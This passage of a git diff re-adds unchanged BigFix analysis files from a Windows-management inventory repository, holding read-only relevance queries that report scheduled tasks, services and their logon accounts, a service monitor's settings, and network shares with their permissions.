-    <Property ID="2" Name="Tasks - Last Run Time - Windows" EvaluationPeriod="P1D">unique values of (concatenations of (it as string)) of (path of it, last run time of it) of scheduled tasks</Property>
-    <Property ID="3" Name="Tasks - Next Run Time - Windows" EvaluationPeriod="P1D">unique values of (concatenations of (it as string)) of (path of it, next run time of it as string | &quot;none&quot;) of scheduled tasks</Property>
-    <Property ID="4" Name="Tasks - Last Result - Windows" EvaluationPeriod="P1D">unique values of (concatenations of (it as string)) of (path of it, last task result of it | 0) of scheduled tasks</Property>
-    <Property ID="5" Name="Tasks - State - Windows" EvaluationPeriod="P1D">unique values of (concatenations of (it as string)) of (name of it, (if (enabled of it) then (&quot;Enabled&quot;) else &quot;Disabled&quot;)) of scheduled tasks</Property>
-    <Property ID="6" Name="Tasks - Run when Idle - Windows" EvaluationPeriod="P1D">unique values of (concatenations of (it as string)) of (name of it, idle duration of idle settings of settings of definition of it as string) of scheduled tasks whose (exists idle duration of idle settings of settings of definition of it as string)</Property>
-    <Property ID="7" Name="Tasks - Run As - Windows" EvaluationPeriod="P1D">unique values of (concatenations of (it as string)) of (name of it, account name of owner of security descriptor of it) of scheduled tasks</Property>
-    <Property ID="8" Name="Tasks - Embedded Passwords - Windows" EvaluationPeriod="P1D">unique values of (concatenations of (it as string)) of (name of it, user id of principal of definition of it) of scheduled tasks whose (password logon of principal of definition of it)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Scheduled Tasks - Windows
+  ID       : 2998472
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-10-26T07:41:21
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Scheduled Tasks - Windows</Title>
+    <Description><![CDATA[<P>This analysis provides information about the currently configured scheduled tasks on the system.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Tasks - Paths - Windows" EvaluationPeriod="P1D">unique values of (concatenations of (it as string)) of (path of it) of scheduled tasks</Property>
+    <Property ID="2" Name="Tasks - Last Run Time - Windows" EvaluationPeriod="P1D">unique values of (concatenations of (it as string)) of (path of it, last run time of it) of scheduled tasks</Property>
+    <Property ID="3" Name="Tasks - Next Run Time - Windows" EvaluationPeriod="P1D">unique values of (concatenations of (it as string)) of (path of it, next run time of it as string | &quot;none&quot;) of scheduled tasks</Property>
+    <Property ID="4" Name="Tasks - Last Result - Windows" EvaluationPeriod="P1D">unique values of (concatenations of (it as string)) of (path of it, last task result of it | 0) of scheduled tasks</Property>
+    <Property ID="5" Name="Tasks - State - Windows" EvaluationPeriod="P1D">unique values of (concatenations of (it as string)) of (name of it, (if (enabled of it) then (&quot;Enabled&quot;) else &quot;Disabled&quot;)) of scheduled tasks</Property>
+    <Property ID="6" Name="Tasks - Run when Idle - Windows" EvaluationPeriod="P1D">unique values of (concatenations of (it as string)) of (name of it, idle duration of idle settings of settings of definition of it as string) of scheduled tasks whose (exists idle duration of idle settings of settings of definition of it as string)</Property>
+    <Property ID="7" Name="Tasks - Run As - Windows" EvaluationPeriod="P1D">unique values of (concatenations of (it as string)) of (name of it, account name of owner of security descriptor of it) of scheduled tasks</Property>
+    <Property ID="8" Name="Tasks - Embedded Passwords - Windows" EvaluationPeriod="P1D">unique values of (concatenations of (it as string)) of (name of it, user id of principal of definition of it) of scheduled tasks whose (password logon of principal of definition of it)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Service Error (2994723).bes b/Sites/Windows Management/Fixlets/Analyses/Service Error (2994723).bes
index 3ea897309..c90c05424 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Service Error (2994723).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Service Error (2994723).bes	
@@ -1,24 +1,24 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Service Error
-  ID       : 2994723
-  Author   : sinucus
-  Domain   : BESC
-  Imported : 2014-09-28T17:55:31
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Service Error</Title>
-    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
-    <Relevance>name of operating system as lowercase starts with &quot;win&quot;</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 29 Jul 2014 18:00:30 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Failed Services">display names of services whose (start type of it = &quot;auto&quot; and state of it != &quot;Running&quot;)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Service Error
+  ID       : 2994723
+  Author   : sinucus
+  Domain   : BESC
+  Imported : 2014-09-28T17:55:31
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Service Error</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>name of operating system as lowercase starts with &quot;win&quot;</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 29 Jul 2014 18:00:30 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Failed Services">display names of services whose (start type of it = &quot;auto&quot; and state of it != &quot;Running&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Service Monitor - Windows (2998502).bes b/Sites/Windows Management/Fixlets/Analyses/Service Monitor - Windows (2998502).bes
index 4f571983a..b07e74692 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Service Monitor - Windows (2998502).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Service Monitor - Windows (2998502).bes	
@@ -1,33 +1,33 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Service Monitor - Windows
-  ID       : 2998502
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-12-09T18:13:22
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Service Monitor - Windows</Title>
-    <Description><![CDATA[This Analysis will report on the statistics stored by the&nbsp;<STRONG>Fixlet:</STRONG>&nbsp;"Invoke - Service Monitor - Windows". Specifically it will report information related to monitored services started by the BigFix Agent.
-<P>To define a service as, "Monitored" for use by this fixlet:</P>
-<OL>
-<LI>Create a client setting: besservicemonitor-&lt;name&gt;
-<LI>Populate the setting with a semicolon separated list of services to monitor: "<FONT size=2>BESProxyAgent;BESRelay;BESGather;BESPluginService;BESRootServer;BESWebReportsServer"</FONT></LI></OL>
-<P><FONT size=2>This action will then check those services to make sure they are running.</FONT></P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists settings whose (name of it starts with &quot;besservicemonitor-&quot;) of client</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Service Monitor - Configuration - Windows" EvaluationPeriod="PT1H">unique values of ((it as trimmed string) of substrings separated by &quot;;&quot; of concatenations &quot;;&quot; whose (it != &quot;&quot;) of values of settings whose (name of it starts with &quot;besservicemonitor-&quot; and name of it does not start with &quot;besservicemonitor-settings-&quot;) of client)</Property>
-    <Property ID="2" Name="Service Monitor - Recovery Counts - Windows" EvaluationPeriod="PT1H">(name of it, value &quot;count&quot; of it) of keys of keys &quot;Service Monitoring&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory&quot; of (x32 registries;x64 registries)</Property>
-    <Property ID="3" Name="Service Monitor - Last Recovery Times - Windows" EvaluationPeriod="PT1H">(name of it, value &quot;Last&quot; of it) of keys of keys &quot;Service Monitoring&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory&quot; of (x32 registries;x64 registries)</Property>
-    <Property ID="4" Name="Service Monitor - Services Failing to Start - Windows" EvaluationPeriod="PT5M">if (uptime of operating system &gt; (value of settings &quot;besservicemonitor-audit-delay&quot; of client as integer | 5) * minute) then (unique values of ((display name of it &amp; &quot; (&quot; &amp; service name of it &amp; &quot;)&quot;) as string) of services ((it as trimmed string) of elements of (set of (substrings separated by &quot;;&quot; of concatenations &quot;;&quot; whose (it != &quot;&quot;) of values of settings whose (name of it starts with &quot;besservicemonitor-&quot; and name of it does not start with &quot;besservicemonitor-settings-&quot;) of client) - set of (substrings separated by &quot;;&quot; of concatenations &quot;;&quot; whose (it != &quot;&quot;) of values of settings &quot;besservicemonitor-settings-blacklist&quot; of client))) whose (state of it != &quot;Running&quot; and start type of it != &quot;disabled&quot;)) else (nothing)</Property>
-    <Property ID="7" Name="Service Monitor - Audit Delay - Windows" EvaluationPeriod="PT5M">value of settings &quot;besservicemonitor-settings-audit-delay&quot; of client as integer | 5</Property>
-    <Property ID="8" Name="Service Monitor - Remediation Delay - Windows" EvaluationPeriod="PT5M">value of settings &quot;besservicemonitor-settings-remediation-delay&quot; of client as integer | 5</Property>
-    <Property ID="9" Name="Service Monitor - Blacklisted Services - Windows" EvaluationPeriod="PT5M">substrings separated by &quot;;&quot; of values of settings &quot;besservicemonitor-settings-blacklist&quot; of client</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Service Monitor - Windows
+  ID       : 2998502
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-12-09T18:13:22
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Service Monitor - Windows</Title>
+    <Description><![CDATA[This Analysis will report on the statistics stored by the&nbsp;<STRONG>Fixlet:</STRONG>&nbsp;"Invoke - Service Monitor - Windows". Specifically it will report information related to monitored services started by the BigFix Agent.
+<P>To define a service as, "Monitored" for use by this fixlet:</P>
+<OL>
+<LI>Create a client setting: besservicemonitor-&lt;name&gt;
+<LI>Populate the setting with a semicolon separated list of services to monitor: "<FONT size=2>BESProxyAgent;BESRelay;BESGather;BESPluginService;BESRootServer;BESWebReportsServer"</FONT></LI></OL>
+<P><FONT size=2>This action will then check those services to make sure they are running.</FONT></P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists settings whose (name of it starts with &quot;besservicemonitor-&quot;) of client</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Service Monitor - Configuration - Windows" EvaluationPeriod="PT1H">unique values of ((it as trimmed string) of substrings separated by &quot;;&quot; of concatenations &quot;;&quot; whose (it != &quot;&quot;) of values of settings whose (name of it starts with &quot;besservicemonitor-&quot; and name of it does not start with &quot;besservicemonitor-settings-&quot;) of client)</Property>
+    <Property ID="2" Name="Service Monitor - Recovery Counts - Windows" EvaluationPeriod="PT1H">(name of it, value &quot;count&quot; of it) of keys of keys &quot;Service Monitoring&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory&quot; of (x32 registries;x64 registries)</Property>
+    <Property ID="3" Name="Service Monitor - Last Recovery Times - Windows" EvaluationPeriod="PT1H">(name of it, value &quot;Last&quot; of it) of keys of keys &quot;Service Monitoring&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory&quot; of (x32 registries;x64 registries)</Property>
+    <Property ID="4" Name="Service Monitor - Services Failing to Start - Windows" EvaluationPeriod="PT5M">if (uptime of operating system &gt; (value of settings &quot;besservicemonitor-audit-delay&quot; of client as integer | 5) * minute) then (unique values of ((display name of it &amp; &quot; (&quot; &amp; service name of it &amp; &quot;)&quot;) as string) of services ((it as trimmed string) of elements of (set of (substrings separated by &quot;;&quot; of concatenations &quot;;&quot; whose (it != &quot;&quot;) of values of settings whose (name of it starts with &quot;besservicemonitor-&quot; and name of it does not start with &quot;besservicemonitor-settings-&quot;) of client) - set of (substrings separated by &quot;;&quot; of concatenations &quot;;&quot; whose (it != &quot;&quot;) of values of settings &quot;besservicemonitor-settings-blacklist&quot; of client))) whose (state of it != &quot;Running&quot; and start type of it != &quot;disabled&quot;)) else (nothing)</Property>
+    <Property ID="7" Name="Service Monitor - Audit Delay - Windows" EvaluationPeriod="PT5M">value of settings &quot;besservicemonitor-settings-audit-delay&quot; of client as integer | 5</Property>
+    <Property ID="8" Name="Service Monitor - Remediation Delay - Windows" EvaluationPeriod="PT5M">value of settings &quot;besservicemonitor-settings-remediation-delay&quot; of client as integer | 5</Property>
+    <Property ID="9" Name="Service Monitor - Blacklisted Services - Windows" EvaluationPeriod="PT5M">substrings separated by &quot;;&quot; of values of settings &quot;besservicemonitor-settings-blacklist&quot; of client</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Services - Windows (2998543).bes b/Sites/Windows Management/Fixlets/Analyses/Services - Windows (2998543).bes
index a33fd01bf..49c6e83b8 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Services - Windows (2998543).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Services - Windows (2998543).bes	
@@ -1,27 +1,27 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Services - Windows
-  ID       : 2998543
-  Author   : strawgate
-  Domain   : BES
-  Imported : 2017-04-14T07:44:05
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Services - Windows</Title>
-    <Description><![CDATA[<P>Provides information relating to the Windows services on the system.</P>
-<P><STRONG>Services - Log On As - Windows</STRONG> - Provides the account that the service operates under. For the majority of services this will be a NT Authority\System </P>
-<P><STRONG>Services - Log On As Domain Account - Windows </STRONG>- Provides the services on the system that are running as a domain account</P>
-<P><STRONG>Services - Log On As Local Account - Windows </STRONG>- Provides the services on the system that are running as a local account on the system</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Domain>BES </Domain>
-    <Property ID="1" Name="Services - Log On As - Windows" EvaluationPeriod="P1D">(display name of it &amp; &quot; (&quot; &amp; service name of it &amp; &quot;)&quot;, login account of it | &quot;N\A&quot;) of services whose (exists display name of it AND (length of (display name of it as string)) &gt; 0 AND (number of substrings &quot; &quot; of (display name of it as string) &lt; (length of (display name of it as string))) AND exists service name of it AND (length of (service name of it as string)) &gt; 0 AND (number of substrings &quot; &quot; of (service name of it as string) &lt; (length of (service name of it as string))) AND exists state of it)</Property>
-    <Property ID="2" Name="Services - Log On As Domain Account - Windows" EvaluationPeriod="P1D">(display name of it &amp; &quot; (&quot; &amp; service name of it &amp; &quot;)&quot;,  login account of it) of it whose (login account of it contains &quot;@&quot;) of (services whose (exists display name of it AND (length of (display name of it as string)) &gt; 0 AND (number of substrings &quot; &quot; of (display name of it as string) &lt; (length of (display name of it as string))) AND exists service name of it AND (length of (service name of it as string)) &gt; 0 AND (number of substrings &quot; &quot; of (service name of it as string) &lt; (length of (service name of it as string))) AND exists state of it))</Property>
-    <Property ID="3" Name="Services - Log On As Local Account - Windows" EvaluationPeriod="P1D">(display name of it &amp; &quot; (&quot; &amp; service name of it &amp; &quot;)&quot;,  login account of it) of it whose (login account of it contains &quot;.\&quot;) of (services whose (exists display name of it AND (length of (display name of it as string)) &gt; 0 AND (number of substrings &quot; &quot; of (display name of it as string) &lt; (length of (display name of it as string))) AND exists service name of it AND (length of (service name of it as string)) &gt; 0 AND (number of substrings &quot; &quot; of (service name of it as string) &lt; (length of (service name of it as string))) AND exists state of it))</Property>
-    <Property ID="4" Name="Services - State - Universal" EvaluationPeriod="PT1H">unique values of (concatenations of (it as string)) of (display name of it &amp; ((&quot; (&quot; &amp; service name of it &amp; &quot;)&quot;) | &quot;&quot;), state of it | &quot;N\A&quot;) of services</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Services - Windows
+  ID       : 2998543
+  Author   : strawgate
+  Domain   : BES
+  Imported : 2017-04-14T07:44:05
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Services - Windows</Title>
+    <Description><![CDATA[<P>Provides information relating to the Windows services on the system.</P>
+<P><STRONG>Services - Log On As - Windows</STRONG> - Provides the account that the service operates under. For the majority of services this will be a NT Authority\System </P>
+<P><STRONG>Services - Log On As Domain Account - Windows </STRONG>- Provides the services on the system that are running as a domain account</P>
+<P><STRONG>Services - Log On As Local Account - Windows </STRONG>- Provides the services on the system that are running as a local account on the system</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Domain>BES </Domain>
+    <Property ID="1" Name="Services - Log On As - Windows" EvaluationPeriod="P1D">(display name of it &amp; &quot; (&quot; &amp; service name of it &amp; &quot;)&quot;, login account of it | &quot;N\A&quot;) of services whose (exists display name of it AND (length of (display name of it as string)) &gt; 0 AND (number of substrings &quot; &quot; of (display name of it as string) &lt; (length of (display name of it as string))) AND exists service name of it AND (length of (service name of it as string)) &gt; 0 AND (number of substrings &quot; &quot; of (service name of it as string) &lt; (length of (service name of it as string))) AND exists state of it)</Property>
+    <Property ID="2" Name="Services - Log On As Domain Account - Windows" EvaluationPeriod="P1D">(display name of it &amp; &quot; (&quot; &amp; service name of it &amp; &quot;)&quot;,  login account of it) of it whose (login account of it contains &quot;@&quot;) of (services whose (exists display name of it AND (length of (display name of it as string)) &gt; 0 AND (number of substrings &quot; &quot; of (display name of it as string) &lt; (length of (display name of it as string))) AND exists service name of it AND (length of (service name of it as string)) &gt; 0 AND (number of substrings &quot; &quot; of (service name of it as string) &lt; (length of (service name of it as string))) AND exists state of it))</Property>
+    <Property ID="3" Name="Services - Log On As Local Account - Windows" EvaluationPeriod="P1D">(display name of it &amp; &quot; (&quot; &amp; service name of it &amp; &quot;)&quot;,  login account of it) of it whose (login account of it contains &quot;.\&quot;) of (services whose (exists display name of it AND (length of (display name of it as string)) &gt; 0 AND (number of substrings &quot; &quot; of (display name of it as string) &lt; (length of (display name of it as string))) AND exists service name of it AND (length of (service name of it as string)) &gt; 0 AND (number of substrings &quot; &quot; of (service name of it as string) &lt; (length of (service name of it as string))) AND exists state of it))</Property>
+    <Property ID="4" Name="Services - State - Universal" EvaluationPeriod="PT1H">unique values of (concatenations of (it as string)) of (display name of it &amp; ((&quot; (&quot; &amp; service name of it &amp; &quot;)&quot;) | &quot;&quot;), state of it | &quot;N\A&quot;) of services</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Services info (2994720).bes b/Sites/Windows Management/Fixlets/Analyses/Services info (2994720).bes
index 32ce2b1da..d48bc4c2c 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Services info (2994720).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Services info (2994720).bes	
@@ -1,29 +1,29 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Services info
-  ID       : 2994720
-  Author   : sinucus
-  Domain   : BESC
-  Imported : 2014-09-28T17:53:55
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Services info</Title>
-    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists wmi</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 05 Sep 2013 19:57:06 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Name" EvaluationPeriod="P1D">(string value of property &quot;name&quot; of it | &quot;n/a&quot;) of select objects &quot;name from win32_service&quot; of wmi</Property>
-    <Property ID="2" Name="PathName">(string value of property &quot;pathname&quot; of it | &quot;n/a&quot;) of select objects &quot;pathname from win32_service&quot; of wmi</Property>
-    <Property ID="3" Name="Description">(string value of property &quot;description&quot; of it | &quot;n/a&quot;) of select objects &quot;description from win32_service&quot; of wmi</Property>
-    <Property ID="4" Name="State">(string value of property &quot;state&quot; of it | &quot;n/a&quot;) of select objects &quot;state from win32_service&quot; of wmi</Property>
-    <Property ID="5" Name="Startup" EvaluationPeriod="P1D">(string value of property &quot;startmode&quot; of it | &quot;n/a&quot;) of select objects &quot;startmode from win32_service&quot; of wmi</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Services info
+  ID       : 2994720
+  Author   : sinucus
+  Domain   : BESC
+  Imported : 2014-09-28T17:53:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Services info</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists wmi</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 05 Sep 2013 19:57:06 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Name" EvaluationPeriod="P1D">(string value of property &quot;name&quot; of it | &quot;n/a&quot;) of select objects &quot;name from win32_service&quot; of wmi</Property>
+    <Property ID="2" Name="PathName">(string value of property &quot;pathname&quot; of it | &quot;n/a&quot;) of select objects &quot;pathname from win32_service&quot; of wmi</Property>
+    <Property ID="3" Name="Description">(string value of property &quot;description&quot; of it | &quot;n/a&quot;) of select objects &quot;description from win32_service&quot; of wmi</Property>
+    <Property ID="4" Name="State">(string value of property &quot;state&quot; of it | &quot;n/a&quot;) of select objects &quot;state from win32_service&quot; of wmi</Property>
+    <Property ID="5" Name="Startup" EvaluationPeriod="P1D">(string value of property &quot;startmode&quot; of it | &quot;n/a&quot;) of select objects &quot;startmode from win32_service&quot; of wmi</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Shares - Windows (2998467).bes b/Sites/Windows Management/Fixlets/Analyses/Shares - Windows (2998467).bes
index 3cca7d0d4..d9ee46e16 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Shares - Windows (2998467).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Shares - Windows (2998467).bes	
@@ -1,30 +1,30 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Shares - Windows
-  ID       : 2998467
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-10-24T20:43:15
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Shares - Windows</Title>
-    <Description><![CDATA[<P>Provides information regarding the configured network shares on the system.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Shares - File - Windows" EvaluationPeriod="P1D">(name of it, path of it) of network shares whose (name of it != &quot;print$&quot; and type of it != 2147483648 and type of it != 1 and type of it != 2147483651)</Property>
-    <Property ID="2" Name="Shares - Read Permissions - Windows" EvaluationPeriod="P1D">(name of it, (account name of it | component string of it) of trustees of entries whose (read permission of it) of dacls of security descriptors of it) of network shares whose (name of it != &quot;print$&quot; and type of it != 2147483648 and type of it != 1 and type of it != 2147483651)</Property>
-    <Property ID="3" Name="Shares - Change Permissions - Windows" EvaluationPeriod="P1D">(name of it, (account name of it | component string of it) of trustees of entries whose (write permission of it) of dacls of security descriptors of it) of network shares whose (name of it != &quot;print$&quot; and type of it != 2147483648 and type of it != 1 and type of it != 2147483651)</Property>
-    <Property ID="4" Name="Shares - Full Control Permissions - Windows" EvaluationPeriod="P1D">(name of it, (account name of it | component string of it) of trustees of entries whose (write owner permission of it) of dacls of security descriptors of it) of network shares whose (name of it != &quot;print$&quot; and type of it != 2147483648 and type of it != 1 and type of it != 2147483651)</Property>
-    <Property ID="5" Name="Shares - Active Connections - Windows" EvaluationPeriod="P1D">(name of it, use count of it) of network shares</Property>
-    <Property ID="6" Name="Shares - Maximum Connections - Windows" EvaluationPeriod="P1D">(name of it, use limit of it as string | &quot;N\A&quot;) of network shares</Property>
-    <Property ID="7" Name="Shares - Comments - Windows" EvaluationPeriod="P1D">(name of it, comment of it) of network shares</Property>
-    <Property ID="8" Name="Shares - Printer - Windows" EvaluationPeriod="P1D">(name of it) of network shares whose (type of it = 1 /*Printer*/)</Property>
-    <Property ID="9" Name="Shares - Administrative - Windows" EvaluationPeriod="P1D">(name of it) of network shares whose (type of it = 2147483648 /*Admin*/ or name of it = &quot;print$&quot;)</Property>
-    <Property ID="11" Name="Shares - Interprocess Communication - Windows" EvaluationPeriod="P1D">(name of it) of network shares whose (type of it = 2147483651 /*IPC*/)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Shares - Windows
+  ID       : 2998467
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-10-24T20:43:15
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Shares - Windows</Title>
+    <Description><![CDATA[<P>Provides information regarding the configured network shares on the system.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Shares - File - Windows" EvaluationPeriod="P1D">(name of it, path of it) of network shares whose (name of it != &quot;print$&quot; and type of it != 2147483648 and type of it != 1 and type of it != 2147483651)</Property>
+    <Property ID="2" Name="Shares - Read Permissions - Windows" EvaluationPeriod="P1D">(name of it, (account name of it | component string of it) of trustees of entries whose (read permission of it) of dacls of security descriptors of it) of network shares whose (name of it != &quot;print$&quot; and type of it != 2147483648 and type of it != 1 and type of it != 2147483651)</Property>
+    <Property ID="3" Name="Shares - Change Permissions - Windows" EvaluationPeriod="P1D">(name of it, (account name of it | component string of it) of trustees of entries whose (write permission of it) of dacls of security descriptors of it) of network shares whose (name of it != &quot;print$&quot; and type of it != 2147483648 and type of it != 1 and type of it != 2147483651)</Property>
+    <Property ID="4" Name="Shares - Full Control Permissions - Windows" EvaluationPeriod="P1D">(name of it, (account name of it | component string of it) of trustees of entries whose (write owner permission of it) of dacls of security descriptors of it) of network shares whose (name of it != &quot;print$&quot; and type of it != 2147483648 and type of it != 1 and type of it != 2147483651)</Property>
+    <Property ID="5" Name="Shares - Active Connections - Windows" EvaluationPeriod="P1D">(name of it, use count of it) of network shares</Property>
+    <Property ID="6" Name="Shares - Maximum Connections - Windows" EvaluationPeriod="P1D">(name of it, use limit of it as string | &quot;N\A&quot;) of network shares</Property>
+    <Property ID="7" Name="Shares - Comments - Windows" EvaluationPeriod="P1D">(name of it, comment of it) of network shares</Property>
+    <Property ID="8" Name="Shares - Printer - Windows" EvaluationPeriod="P1D">(name of it) of network shares whose (type of it = 1 /*Printer*/)</Property>
+    <Property ID="9" Name="Shares - Administrative - Windows" EvaluationPeriod="P1D">(name of it) of network shares whose (type of it = 2147483648 /*Admin*/ or name of it = &quot;print$&quot;)</Property>
+    <Property ID="11" Name="Shares - Interprocess Communication - Windows" EvaluationPeriod="P1D">(name of it) of network shares whose (type of it = 2147483651 /*IPC*/)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Signs of possible Logon or GPO issues - Windows (2994789).bes b/Sites/Windows Management/Fixlets/Analyses/Signs of possible Logon or GPO issues - Windows (2994789).bes
index 7b7b4ebf9..490d23afb 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Signs of possible Logon or GPO issues - Windows (2994789).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Signs of possible Logon or GPO issues - Windows (2994789).bes	
@@ -1,39 +1,39 @@
